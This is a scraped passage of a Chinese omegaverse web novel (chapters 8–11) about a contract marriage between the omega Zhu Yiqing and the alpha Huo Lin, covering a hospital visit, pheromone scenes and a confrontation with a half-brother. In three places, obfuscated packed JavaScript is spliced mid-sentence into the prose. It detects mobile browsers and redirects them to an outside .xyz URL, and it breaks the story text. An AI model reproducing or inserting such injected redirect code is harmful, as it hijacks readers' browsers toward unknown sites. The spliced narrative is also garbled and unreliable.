清垂下眼睛,完全不敢看他,“我觉得只放鱼片有点单调,所以又加了一点别的东西……最后就变成这个样子了,对不起,我只是有点失误,但是我已经认识到错误了,你能原谅我吗?” 霍粼气笑了。 祝贻清觉得他大概快要被自己气死了,更不敢抬头了:“真的对不起。” 霍粼忍无可忍道:“滚出去。” 祝贻清猛地抬起头,猝不及防地跟霍粼对视了。 霍粼还想骂,但他看见祝贻清一脸无辜,一双桃花眼望着他,眼尾像被初雨淋湿的花瓣,泛着湿漉漉的粉色。 ……好性感。 霍粼盯着祝贻清的脸看了几秒,讥讽的话就挂在嘴边,又被他硬生生地咽了回去。 他冷着脸道:“滚出去买一份。” 祝贻清如获大赦,连带回来的行李都没时间收拾,拿着手机就出了门。 他在网上搜索,附近哪一家粥店最好吃,搜出来了一家砂锅虾蟹粥,宣传图看起来特别美味。 今天着急从C市回来,导致午饭和晚饭都没有吃,祝贻清饿得不行,立刻打车过去。 他打算自己先在店里喝完虾蟹粥,再给霍粼打包鱼片粥回去。 苦了霍粼也不能苦了自己。 半个小时后,祝贻清抵达粥店。 宽敞的店内热闹非凡,还有一大群人在等位。 祝贻清随便找了一个服务员,温声问道:“您好,请问现在可以点单吗?” 话音刚落,他骤然觉得有点头晕,连手也开始轻微地颤抖,他猜测自己大概是低血糖要犯了。 “您好。”服务员忙得要死,头都没抬,自然也没注意到他的异样,“现在可以点单。” 片刻间,祝贻清身体的不适感加剧,但他还是想先点完单,再去隔壁便利店买点糖吃,毕竟这样更节省时间。 “那我先点单吧。”祝贻清加快了语速,“我要一份虾蟹粥,然后再打包一份……” 他的身体晃了一下,话还没说完,就当着服务员的面倒了下去。 ……什么玩意儿掉下去了? 服务员下意识伸手去接,但脑子还没彻底反应过来,一时没使上劲,差点跟祝贻清一起栽倒在地上。 回过神后,服务员发现倒下去的是一个大活人。 他着急地朝着后厨大喊:“老板!老板!有人在我们店里饿死了!” “啊???”老板举着锅铲冲出来,“在哪儿呢?” 现场乱成一锅粥了。 最混乱的时候,祝贻清的手机收到一通来电,服务员接了起来。 只听那边的人不耐烦地问:“你去哪里了?怎么这么久了还没回来?” “您、您好。”服务员看着手机上显示的姓名,问道,“请问您是霍粼吗?” 霍粼听见声音,重新确认了一遍自己是否打错了电话。 可是他没打错,这的确是祝贻清的号码,为什么接电话的是陌生男人? 那一瞬间,霍粼想了很多,甚至假设出了“祝贻清出轨了,小三打电话来耀武扬威”的场景。 他的声音像淬了冰:“你是哪位?” 服务员打了个寒颤,说话的音量越来越低:“是这样的,这部手机的主人晕倒了,我们刚才打了120,准备送去市一院,您是他朋友吗?现在方便过来照顾一下吗?” 霍粼的手机差点掉到地上。 8. 高契合度 祝贻清再次睁开眼时,已经躺在医院的病床上打点滴了。 他偏过头,发现旁边坐着霍粼。 霍粼看见他醒了,关心的话就在嘴边,但碍于面子,他说不出口:“你……” 祝贻清眨眨眼睛:“我想喝水。” 霍粼长这么大从没伺候过人,也不会伺候人,要不是祝贻清提起这一茬,他根本想不到需要接水:“你等我一会儿,我现在去。” 他环顾四周,发现普通的病房里根本就没有杯子,只能去外面找,或者去医院楼下买。 “我出去找个杯子。”霍粼回过头来,叮嘱祝贻清,“你别乱跑,就在这里等我。” “好。”祝贻清说,“我还想喝粥,你能不能给我带一份回来?” 霍粼想起祝贻清今晚煮的诡异蓝色鱼片粥,又联想到自己今晚让祝贻清出门买粥,导致祝贻清晕倒在路上。 他合理怀疑祝贻清是被使唤了之后不高兴,所以故意让他去买粥:“……你是不是在报复我?” “我听不懂你在说什么。”祝贻清低下头,“我只是有点饿,还有点不舒服,想吃点清淡的东西而已。” 霍粼最看不惯他这副低眉顺眼的样子,也不知道在扮可怜给谁看。 真是好笑,他该不会以为真的有人会吃他这一套吧。 祝贻清的睫毛像羽毛似的颤动一下,小声问道:“可以吗?” “可以。”霍粼的脑子还没反应过来,嘴先答应了。 回过神来的霍粼:………… 祝贻清在病房里等了霍粼十几分钟,终于等到了alpha再次推开病房的大门。 身形高大的alpha左手拎着一碗打包好的粥,右手拿着一个水杯,一副任人差遣的模样。 “只有青菜粥了。”霍粼把东西放在床头,“但是你好像不喜欢吃青菜。” “没关系,我都能吃。”祝贻清拆开包装,喝了几口,入口有一股很浓的蔬菜根茎味,他确实不喜欢。 祝贻清后悔说能吃了,他情不自禁地开始怀念自己差一点就能吃到的虾蟹粥,碎碎念道:“你知道吗,我今天去的那家店,听说那里的虾蟹粥特别好吃,但是我还没排到队就……” 他的脸色依然有点苍白,乌黑的发丝垂在脸边,霍粼以俯视的视角看去,只能看见omega小巧的鼻尖,以及长而翘的睫羽,睫毛投射出一小片阴影,歇落在他的脸颊上。 “不喜欢吃就算了,别露出这副表情。”霍粼生硬地挪开视线,“你跟我卖惨有什么用?” 祝贻清不解地看了霍粼一眼,不明白这个alpha又在自我脑补什么。 他一晚上没吃饭,肚子饿得难受,可惜眼下又没有别的东西吃,他不敢指望霍粼带他去吃好吃的,只能端起塑料打包盒,大口大口地往下咽青菜粥。 霍粼觉察到他的动静,瞬间皱起眉头:“你不是不喜欢吗?” 祝贻清没理他。 一碗粥的份量很小,而且大多是水,煮得很稀,祝贻清没喝几口,碗里的粥就见了底。 霍粼得不到祝贻清的回应,郁闷的情绪涌上心头,他不由分说地夺过祝贻清手里的碗:“别吃了。” “你怎么这么霸道?”祝贻清有点恼了,他抬起头,迎上霍粼的目光,“是不是因为我给你做的鱼片粥不合你胃口,所以你连饭都不想让我吃了?可是我早就跟你说过我不擅长煮粥,是你非要让我做的。” 霍粼的音调没什么起伏:“所以怪我?” 祝贻清无意与霍粼辩驳:“我没有这个意思……” 他掀起薄薄的眼皮看了一眼头顶的点滴,注意到点滴即将见底,顺手按下了床头的呼叫铃。 “是吗?”霍粼依旧站着,压迫感丝毫未减,“你还记得吗?我们之前说好今晚要做一次信息素疏导,但是你打乱了计划,这一点我还没有怪你。” 祝贻清抿了抿唇:“对不起,我……” 护士在此时推开了房门,他顿时噤了声。 “输完液就可以回去了。”护士快步走到祝贻清床边,帮他取下了手背上的针,“以后还是要记得及时吃饭,年轻人别总拿自己的身体开玩笑。” 护士离开后,病房里重新恢复了宁静。 刚才说到一半的道歉,离开了合适的氛围,祝贻清也很难再次开口了。 他拉了拉霍粼的袖子:“现在有点晚了,我们回家吧。” 霍粼道:“我没说要回。” 祝贻清怔愣片刻:“……什么意思?你要赶我走吗?” 他很难不想起霍粼之前对他说的那些话,无非就是对他不满意、威胁着他说想要跟他解除协议。 可他现在还能不能解除协议,他需要这份协议。 “你别这样……”祝贻清下了病床,他踮起脚尖,双手揽住霍粼的颈脖,仰起头,生涩地在alpha的喉结上吻了一下,妥协道,“今天是我的错,你怪我吧,我跟你道歉……不要跟我解除协议好不好?” 霍粼一只手就能搂住祝贻清的腰,omega趴在他的怀里,比他小了一圈,显得过分清瘦。 “你在想什么?”霍粼心下觉得有些好笑,“走吧,我先带你去吃饭。” 祝贻清松了一口气。 不好意思的情绪后知后觉地漫上心头,最后以一片粉色的形式显露在脸上。 霍粼注意到了他的脸红,忍不住微微仰起了头,心里泛出几分得意:“你就这么害怕取消协议?” 由于靠得太近,他甚至能闻见祝贻清发梢的香气,香得他都快分不清东南西北了—— 祝贻清怎么这么喜欢我啊? 那我对他好一点,也未尝不可吧! - 没过几天,霍粼让人往家里送了很多补身体的中药,全都是一幅幅搭配好的药材,只是需要自己煎煮。 霍粼叮嘱赵姨每天按时煮好,然后温在锅里,等他晚上下班回来亲自盯着祝贻清喝掉。 祝贻清看见霍粼在厨房里盛中药,凑近了问:“这是给你调理信息素紊乱的中药吗?”他关心道,“你最近有没有觉得好一点?” “不是我的。”霍粼把药碗递给他,“是给你补身体的中药,以后我每天都看着你喝。” 祝贻清不喜欢中药的味道,但他也不想因为这种事情跟霍粼闹矛盾。 喝药而已,横竖也就是一闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896603|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼一张嘴的事情,很快就过去了,不算什么大事。 祝贻清捧着碗说:“谢谢你。” “不客气,但是你不要自作多情。”霍粼倚在厨房门边,眼神一刻不移地落在他脸上,“你身体不好,会影响到后续的信息素疏导进程。给你补身体只是不想耽误治疗,不是关心你的意思。” “我知道的。” 祝贻清仰起头,硬着头皮将苦得发麻的中药咽了下去。他完全能理解霍粼的想法,早点完成治疗对他们两个人都是有益无害的事情。 更何况他也不希望霍粼真的对他特别关心,他只想要霍粼对自己的好感度卡在一个合适的区间——足够他贴身完成治疗,又不至于到了霍粼对他动真心的地步,就算是恰到好处。 祝贻清喝完中药,用余光瞄了一眼霍粼,霍粼依然站在原地不动,视线也未曾转移,看上去完全没有要离开的意思。 他提醒alpha:“我喝完了。” 霍粼“嗯”了一声,没有别的动作。 祝贻清不明所以,懒得深究。他忽视掉霍粼奇怪的行为举止,转身将碗放进洗碗机。 就这么十几秒钟的功夫,霍粼像鬼一样悄无声息地贴近了祝贻清,从他的身后环住了他的腰。 祝贻清毫无察觉,腰侧被alpha的手臂刻意接触的那一瞬间,他轻微地颤抖了一下。 霍粼将下巴抵在祝贻清的肩膀上,贪婪地吮吸属于祝贻清的气味,随后餍足地闭上了眼。 他漫不经心道:“快三年了,你怎么还会被我吓到?” 祝贻清一动不敢动,埋怨道:“因为你走路根本没有声音……” 霍粼轻笑一声。 他低下头,咬上祝贻清的肩膀。 祝贻清忍着没有出声。 很快,他感受到alpha的鼻息从他的肩膀一路挪到了他的颈后,最后停留在了他的腺体上,他猜想霍粼大概是要咬他了。 祝贻清做好了心理准备,可霍粼许久都没他下口。他不知道霍粼到底什么时候会咬上他的腺体,心乱心慌,但又不敢回头看。 alpha的噬咬对他来说就像悬在头顶上的达摩克利斯之剑,让他连心安地站在原地都做不到。 “霍粼……” 话音未落,霍粼对着他的腺体一口咬了下去。 祝贻清闷哼一声,刺痛的感觉让他漂亮的眼睛瞬间睁大,甚至有了一刹那的失焦。他无意识地张了口,却一个字都说不出来。 顷刻间,柠檬金酒的气味在厨房里倾泻蔓延,祝贻清来不及做准备,就已经被彻底包裹。 没有一个omega可以抵抗高浓度、高契合度的信息素,哪怕祝贻清倔强地用双手撑在岛台的台面上,他的身体关节还是不自主地开始发软。 “霍粼,霍粼……” 祝贻清开始害怕了,他喃喃着重复alpha的名字,试图唤醒他的良知。 遗憾的是这一切都对霍粼没有用。 在铺天盖地的信息素倾覆之间,霍粼在祝贻清的腺体上温柔地舔了一口。 “都怪你不给我疏导。”他贴着祝贻清纤细的后颈,低声说,“是你欠我的。” 9. 灵魂欢愉 祝贻清的信息素被霍粼勾了出来,两相交织出一场欲望的盛筵。 如果说祝贻清最初还心存几分恐惧,那么在霍粼将他抱到楼上的大床时,陷进柔软的床褥,他的心态已经转变成了事已至此,干脆及时行乐。 他愿意短暂地贴近霍粼的身体,他乐意体验霍粼的信息素把他灌醉的感受,他亦享受霍粼带着薄茧的指腹用力抚摸过他细腻的肌肤。 灵魂的刺激与欢愉,无异于登上天堂的捷径。 “……够了,不要再释放信息素了。”祝贻清被霍粼抱在怀里,他小口小口地喘着气,面色秾丽,嘴唇嫣红。 “不行。”霍粼的欲望在喉头翻滚,他吻上祝贻清的唇瓣,又嫌不够,禁不住咬上了他的下唇,咬得很轻,同时还伸出舌尖去舔。 半晌后,霍粼才舍得再次开口:“……你知道的,我本来就控制不了我的信息素,更何况太久没有疏导,现在就更难抑制了。” 祝贻清的脸上闪过各种难以言说的神色,霍粼认为那多半是恼羞成怒。 祝贻清问:“你以为你骗得了我?” 没有人比他更了解霍粼的病情。 信息素紊乱症常见于高等级alpha,根本原因是信息素浓度过高,短时间内无法释放,积压在腺体中,导致信息素会大量自主溢出,且无法自行收回。 “你说我欠你一次疏导,我承认。”祝贻清慢条斯理地说,“但是信息素积压之后,只会一次性大量溢出。你刚才在厨房已经释放过很多信息素了,现在这些信息素明明就是你故意释放的。” “是又怎么样?”霍粼面不改色地承认了,“我很难控制释放出的信息素剂量,所以一不小心放多了一点,这是很正常的事情。” “原来如此。”祝贻清故意激将,“那我可不可以理解为,你喜欢我,所以控制不住自己的信息素?” 霍粼又急又气:“怎么可能?!” 见霍粼这副反应,祝贻清暗地勾起唇角。 以他对霍粼的了解程度,他深知霍粼不可能承认喜欢他——这意味着霍粼一定会反驳他,而且不止是言语,更有行动上的。 果然,霍粼开始拼命遏制自己的信息素,虽然效果不是特别明显,但房间内的信息素浓度也有所降低。 “很好。”祝贻清伸手在霍粼的发顶摸了摸,他弯起眼,像一只得到了小鱼干之后心满意足的小猫,“今晚的疏导结束了,我先回房间了。” 霍粼回过神来,惊觉自己又被祝贻清钓着走了。 最极致的亲密后是最极致的分离,祝贻清先行离开房间,留下霍粼独自一人坐在大床上发呆。 他渐渐摸不到omega留在床上的余温了,于是脑海中抑制不住地开始放映刚才的温存。 霍粼也不知道这种情感叫什么…… 大概是非常回味吧。 他心不在焉地回到自己的房间,偌大的房间里空气清新,没有半分与omega暧昧过后的气息,刚才发生的一切就像虚无缥缈的梦境。 霍粼心烦意乱地拿出了之前放在床头柜里的本子和笔,开始报复性地给祝贻清计分。 [未能按时疏导,-10。] 他转念想起祝贻清挑着眼尾,问自己是不是喜欢他。霍粼内心一颤,他想给祝贻清扣分,却不知道应该给祝贻清安上什么罪名。 多可笑,omega只是随口说了一句话而已,他就为之辗转反侧了。 霍粼咽不下这口气,重重地落了笔。 [-20。] [祝贻清剩余:24分。] 虽然他目前找不到扣分的理由,但是先扣20分再说。现在祝贻清只剩下寥寥24分了,连满分的四分之一都没有。 霍粼在脑海中幻想。 祝贻清那么喜欢他,等分数全部归零、他向祝贻清提出取消协议的时候,祝贻清听到这个消息,会露出怎样精彩的表情? - “欢迎光临~” 烘焙店门口的门铃响起。 祝贻清看了一眼时间,客人又是在他临近下班的点来的。 他总有一股不祥的预感。 现在他已经学聪明了,特意留了个心眼,没看清楚来人之前绝对不会再主动开口打招呼。 要知道有些人根本就不是为了买蛋糕而来,比如今晚来找他的这位不请自来的alpha。 “清清。”alpha大步迈入店内,在祝贻清面前站定,“下个月一号,祝家要办一场晚宴,爷爷让我来邀请你去参加。” “爷爷?”祝贻清露出疑惑的神情,“你是说当初那个因为我是omega,所以趁我父母出事了,直接把我扫地出门的老头吗?听你的意思……他还活着呢?” “别这么说,爷爷身体健康,应该还能活很长一段时间。”alpha朝祝贻清伸出手,张开大掌,覆上他的手背,“清清,我知道你怨爷爷,但是没有办法,谁让你是个omega。” alpha凑近了些,压低了声音,像是在说什么见不得人的肮脏事:“……还是个私生的omega。你想啊,你跟你妈长得那么像,爷爷那么讨厌你妈,怎么可能允许你天天在他面前招摇过市?” 祝贻清没搭腔,蔑然地睨了他一眼,像是在看一个笑话。 “不过你别担心,爷爷不关心你,哥哥关心你。”alpha递给祝贻清一张卡,“下个月的晚宴就在这家酒店举办,这是我常住房间的房卡,你收着吧,有困难的话就随时来找哥哥。” “房卡?又不是无限额黑卡,你怎么好意思拿给我?”祝贻清将卡原封不动地推回去,“祝让承,我跟你同父异母,我们之间的血缘纽带只有一个父亲而已,可他已经死了这么多年了,这个纽带早就断了。你还是不要觍着脸跟我攀关系了。” “他死了,我们的身体里可一直流着他的血。”祝让承制止了他归还房卡的动作,“这个事实一辈子都不能改变,我也一辈子都是你哥。” “你说的也有道理,但是……”祝贻清的身体微微前倾,将自己和祝让承之间的距离拉得很近,“哥,你说,如果爷爷知道他最喜欢的宝贝孙子,总想跟他最讨厌的那个私生子上床,他还会身体健康吗?” 祝贻清希望在祝让承脸上看见类似于“恐惧”、“气愤”之类的情绪,可祝让承非但不害怕,反倒是想被打了兴奋剂一般,激动地睁大了眼睛。 祝贻清:“……… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896604|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 神经病吧。 “他什么样并不重要。”祝让承明晃晃地展露出笑意,“我只是来带个话而已,带到就走了。” “带话是借口,给房卡才是你的目的吧。”祝贻清的桃花眼中流露出几分讥讽,“对了,还有件事,差点忘记跟你说了。” 祝让承问:“什么?” “你下次发朋友圈可以把我屏蔽了吗?”祝贻清面露嫌弃,“我完全不想欣赏,每次刷到你的自拍都认不出是你,我还以为你的微信是多人共号呢,上次差点就删除好友了。” 祝让承脸上青一阵白一阵,咬着牙道:“祝贻清……” “我在。”祝贻清关心道,“祝让承,你牙疼吗?” 祝让承瞪了他一眼。 “嗯?”祝贻清无辜地歪了下头,“我说完了,您慢走。” 祝让承气得呼吸不畅,他推开店门,发现门外赫然立着一道身影。 门口高大的alpha穿着黑色西装,幽灵一般无声无息,全然融进了夜色里。 这人不进去买蛋糕,就是单纯站在门口挡路,根本不像普通顾客。 祝让承忍不住多看了他几眼,问道:“你谁啊?” 祝贻清自然也注意到了门口的动静。 他快步走到门口,看见门外互怀敌意的两个alpha互相对视,顿时一个头两个大。 他眸光一沉,问其中一个:“……霍粼,你怎么过来了?” 霍粼被这话气得不轻。 他略过祝贻清的问题,目光凌冽地盯着祝贻清身边的祝让承,冷声问道:“祝贻清,这是谁?” 祝贻清说:“不重要。” 祝让承偷摸偏过头去,白了这两人一眼,又重新将脑袋扭了回来:“行了,我走了,你们靠边点,别挡道。” 祝贻清本来是想让路的,但听祝让承这么一说,突然就起了逆反心理,站在原地不动了:“挪一次二百。” 祝让承:“…………” 真是服了。 霍粼听着两人言语争锋,互不相让,简直插不上话。 他的手扣住祝贻清的手腕,越收越紧:“他到底是谁?他经常来找你吗?” 祝贻清还没说话,反倒是祝让承先意味深长地开了口:“原来这就是你找的那个alpha啊……这么久了还没分吗?有点意思。” 他笑了一声,绕开两人,快步离开了。 “你——”霍粼还想说什么,却被祝贻清拉住了。 祝贻清对他摇摇头,他只好不情不愿地收敛起情绪,转而把心思都放在面前的omega身上。 祝贻清看似是在和霍粼面对面交流,实际上眼睛还在远眺,视线一直落在渐行渐远的祝让承身上。 忽然,祝让承回了头。 祝贻清立刻伸手扯了一下霍粼的西装领带。 霍粼被他扯得毫无防备地俯下身,有点恼火,凶巴巴地问:“你干什么?” 祝贻清命令他:“咬我。” 霍粼愣住了:“……什么?” 祝贻清双手环上霍粼的脖子,踮起脚尖,将自己白皙的后颈送到alpha嘴边。 “我说,咬我。” 10. 心跳回响 霍粼的脸红透了,他在祝贻清的脖子边磨蹭了好一会儿,整个人近乎成了煮熟的虾,但他仍然不好意思在店门口就对祝贻清的腺体下口。 不过这已经足够了,祝贻清知道,自己跟霍粼亲近的这几个瞬间,祝让承全都亲眼目睹了。 非常好,要的就是让他看见。 祝贻清的心情肉眼可见地愉悦了起来。 “为什么要这样做?”霍粼还蒙在鼓里,“你能不能先告诉我,他到底是谁?” “你先跟我进去。”祝贻清从霍粼怀里退开,拉着他一起进了店面。 店内的收银台面上,赫然躺着一张还没来得及收进去的卡片。 霍粼拿起来,发现那是一张五星级酒店的房卡。 他也不傻,这张卡意味着什么,他不会不清楚。 “他喜欢你?”霍粼垂着眼翻看手中的卡片,“你还没有告诉我,他是谁,还有你跟他是怎么认识的。” “说出来你可能不信。”祝贻清面带嫌弃,“他是我哥,同父异母的、有血缘关系的哥哥。” 但很快,祝贻清又笑起来:“恶心吗?我反正是觉得挺恶心的。” “你笑什么?就算你们有血缘关系,他这样也算恶意骚扰。”霍粼看得出来祝贻清的笑不是发自真心,“如果他再来找你,你可以给我打电话。” “给你打电话,然后你来找我?”祝贻清玩笑似的问,“什么意思?你担心我?” “……只是因为我们之间有联姻协议而已。”霍粼单手折断了房卡,顺手把房卡碎片丢进垃圾桶,“在协议作废之前,我有义务保证你的安全。” “好吧。”祝贻清开始例行打包今日份的边角料,“你等我一下,我收拾一下东西就走。对了,你今天怎么来接我了?你要来怎么不提前告诉我,万一我已经走了怎么办?” 空气沉默了一段时间,霍粼才低声道:“临时决定的。” 他今晚开车回到家,车子路过别墅大门时,只见整栋别墅漆黑一片,一盏灯未亮,他顿时没了回去的欲望。 霍粼当下决定掉头,也不知道去哪儿,随便开上了一条路,刚好是祝贻清的烘焙店所在的方向。 来都来了,干脆把祝贻清接上,免得家里一点活人气息都没有。 “你说什么?”霍粼的声音太小,祝贻清没听清,“我没听见。” “正好路过而已,又不是特意来的。”霍粼提高了声音,“再说了,我过来难道还需要跟你报备吗?你管的是不是太多了?” “我就随便问问……”祝贻清没想到他反应这么大,“你今天是不是心情不好啊?” 霍粼板着脸,偏过头去,故意不看祝贻清。 祝贻清追问道:“你怎么了?谁又惹你不开心了?” “今天……”霍粼欲言又止,他想告诉祝贻清自己在公司遇到了麻烦事,转念一想,似乎也没有说的必要,“没事,不是什么大事。” 他不擅长在omega面前表现出没那么游刃有余的一面,准确来说,他内心深处其实是在担心、害怕,生怕祝贻清认为他不够有能力。 “没事吗?”祝贻清将信将疑,“你在骗我吧?” “你到底还要收拾多久?”霍粼不答反问,他特意板起脸,免得祝贻清深究下去,“我没空等你了,我要先回去了。” 他说完,立刻偷偷摸摸地用余光去看祝贻清的脸色。 他的话都说到这个份上了,祝贻清肯定会拉住他的手,用没有人可以抗拒的眼神望着他,让他再等一会儿。 霍粼在心里暗自安排好了剧本,竖起耳朵,全神贯注地等待祝贻清回答。 祝贻清点了点头,说:“那你先回去吧。” “…………?” 霍粼睁大了眼睛,满眼都是不可置信。 错了! 全都错了! 不应该是这样的! 祝贻清怎么可能会给出这个回答,这完全在霍粼预料的剧本之外。 这下好了,他留也不是,走也不是,只能不知所措地站在原地踟躇,假装自己很忙。 ……他总不能说自己其实也没那么想走吧。 祝贻清居然还在催他:“你快走吧,我待会儿自己回去。” “什么意思?”霍粼攥紧拳头,“你催什么,你是不是早就想让我走了?刚才你让我咬你时候可不是这个态度。” 祝贻清不解:“不是你自己说要走的吗?” 霍粼一拳打在棉花上,有气没处使,转身就朝店门外走去,一路走出去快十米远。 他既想气祝贻清,又担心祝贻清追出来看不见他,左右脑不断在挣扎打架。 他别扭地回头一看,发现祝贻清根本没有追出来,顿时有点受不了了。 ……祝贻清是不是在冷暴力他? 店内。 祝贻清哪里知道霍粼自己已经闷声脑补了一大堆,他收拾完东西,慢悠悠地走出店面。 突然,他听见有人叫他的名字:“祝贻清。” 祝贻清循声望去,不远处,早该离开的霍粼就站在那里,量裁合身的西装衬得alpha的身形修长且挺拔。 祝贻清稍感意外,一步步向alpha靠近。 霍粼故作若无其事地对他说:“走吧。” “你不是说要提前回去吗?”祝贻清问。 “我……”霍粼还没有为自己找好借口。 清爽的晚风吹过来,吹得人心旷神怡。祝贻清替他找了个理由:“今天晚上好舒服啊,你是不是想在外面吹一会儿风?” 霍粼马上说:“是。” “虽然你不是故意等我的,但还是谢谢你。”祝贻清弯起眼睛,轻声道,“所以你今天到底怎么了?” “……今天出了点事。”两人挨得很近,霍粼的手无意间擦过祝贻清的指尖,他顺势用食指勾上祝贻清的食指,“公司的一个项目组里有员工被高价贿赂了。他之前已经签了保密合同,但还是泄露了商业机密。” “那现在怎么样了?” “人已经抓住了,后续还要追责,谈一下赔偿问题。”霍粼拉开车门,“风吹久了也不好,还是上车说吧。” 祝贻清犹豫了两秒,摇了摇头,拒绝道:“算了,还是你先回去吧,不用管我,我很快就回家了。” “你又有什么事?”霍粼好不容易舒缓了的心情再次跌落下去,“你要去哪里?我可以送你。” “不用了,就一点私事而已。”祝贻清后退两步,“我很快回家找你。” 他转身,朝某个方向小跑过去。 他临时起意,想给霍粼买束花。 如果没记错的话,街道拐角应该有一家花店才对。 祝贻清抵达花店的时候,店员已经在收拾当天剩余的花材了。 他环视一圈,问店员:“今天还有剩下的白玫瑰吗?” “有的有的。”店员从花材桶中抽出几枝白玫瑰,“白玫瑰还有不少呢,你看你要几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896605|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵呀?” “十朵吧。”十朵有十全十美的意思,祝贻清说,“麻烦您帮我包一下。” “好嘞。”店员清点了一下白玫瑰的数量,“我们今天就剩下十三朵了,这样吧,您付十朵的钱,我把十三朵一起打包给您,您看需要吗?” 一样的价钱,还多三枝花,是好事。 祝贻清感激道:“可以吗?谢谢您。” “不客气,反正是今天的最后一单了。”店员帮忙把十三枝白玫瑰包好,双手递给祝贻清,“好啦,您的花包好了,祝您生活愉快!” 祝贻清打车回到家,又马不停蹄地在卧室里翻找出夜光颜料,薄涂了一层在白玫瑰的部分花瓣上。 快速晾干后,他兴致勃勃地去敲响了霍粼的房门,在门外站了一会儿后,他终于等到了霍粼来开门。 霍粼还在为他擅自离开的事情耿耿于怀:“有事?” “嗯。”祝贻清将手中的花束递给霍粼,“送你的。” 霍粼接过精致的花束。 一捧白玫瑰,每一朵花洁白的花瓣上都被涂上了浅色的颜料,看上去比单纯的白色更有层次感。 忽然,祝贻清关了灯。 一片黑暗中,霍粼手中的玫瑰花束在夜色中散发出了莹莹微光,他好像坠入了童话幻境,这捧花束是会魔法的公主送他的礼物。 “喜欢吗?”祝贻清再次打开灯,眼里亮晶晶的,“漂亮吧?” 霍粼听见自己的心跳声在回响。 “为什么给我买花?” “我看你今天不高兴。”祝贻清如实道,“我不太会安慰人,送你这束花只是想让你不要再不高兴了。” 霍粼捧着白玫瑰,愣愣的:“……这件事也算我的管理失职,其实我是最没资格难过的那一个。” “你又不是机器人,你当然可以难过。”祝贻清摸着他的头发,温声道,“你并没有因为自己的情绪影响工作,也及时处理了问题。而且你肯定因为这件事情有了新的认知和经验吧,现在的你已经比之前的你更优秀了,我觉得你就是很棒啊。” 霍粼与祝贻清对视一瞬,身体完全挪不动了。他红着脸说:“你能不能别用这种眼神看着我……” 祝贻清听话地移开视线:“那我先回房间了,你也早点休息。” 虽说现在才十点多,但他今天忙了一天,还真有点困了。他捂着嘴打了个哈欠,离开时还不忘帮霍粼把门关上了。 在他身后,霍粼目睹他的身影被门板隔绝。 随后,alpha低下头,开始默数手中的花束中共有几朵玫瑰。 1、2、3……13。 一共十三朵花。 什么意思? 正常情侣之间送花,不都是送9朵或者19朵吗? 就算他们是协议联姻的对象,要送花,不也应该送那种吉利的、寓意明确的数字吗? 霍粼上网搜索:[13朵白玫瑰代表什么?] 网上说,白玫瑰的花语是真挚的爱,13朵玫瑰则是暗恋的意思。 霍粼的大脑宕机了一瞬。 暗恋…… 暗恋? 暗恋! 霍粼茅塞顿开。 他想,他领悟到了祝贻清向他传达的隐喻,事实一定就是这样—— 祝贻清暗恋他! 霍粼拿出床头柜的本子,满心欢喜地落笔。 [祝贻清送花,+6] [总计:30分] 11. 以一挑四 “魏祈南要结婚了。” 听到这个消息,祝贻清下意识问:“什么时候?” 他认识了霍粼三年,就认识了魏祈南三年。 虽然他跟魏祈南不熟,但他知道魏祈南是个不错的alpha,而且有个稳定交往了五年的omega。 祝贻清见过那个omega几次,性格活泼,长相可爱,跟魏祈南很般配。 现在他们终于修成正果,祝贻清作为一个旁观者,也由衷地为他们感到开心。 “他给我发邀请函了,时间定在下周六,下午四点入场,他让我们一起过去。”霍粼见他若有所思,问道,“你在想什么?” “下周六?”祝贻清打开手机看了一眼日历,顿时心生烦闷,“下周六刚好是一号。” 上次祝让承来找他的时候特意跟他说了,下个月一号祝家要办一场宴会,他需要到场。 祝贻清知道祝老爷子叫他回去的意图,不过是想跟他表现出一番家庭和睦的模样给外人看。 毕竟祝老爷子从不在明面上说自己把祝贻清赶出了家门,他一直对外宣称祝贻清不听话,想要自己外出闯荡,家里人劝说无果,只能被迫妥协。 霍粼对这些事情一概不知:“下周六是一号,怎么了?” “没什么,有点事而已,我打个电话处理一下。”祝贻清在通讯录找到祝让承,拨了过去。 祝让承接得很快:“清清?” 祝贻清走到阳台,与霍粼相隔将近二十米:“下个月一号,你说的宴会几点开始?” “从上午十一点一直持续到晚上十一点。”祝让承愉悦道,“我就知道你会来的。你不喜欢社交也没关系,我们吃过晚饭可以上楼,我带你去我的房间。” 祝贻清冷笑一声,纠正道:“你的狗窝。” 祝让承:“…………” “我午饭之后有事,要提前走。”祝贻清言归正传,“我只是提前告诉你,没有要跟你商量的意思,你知道就好了。” 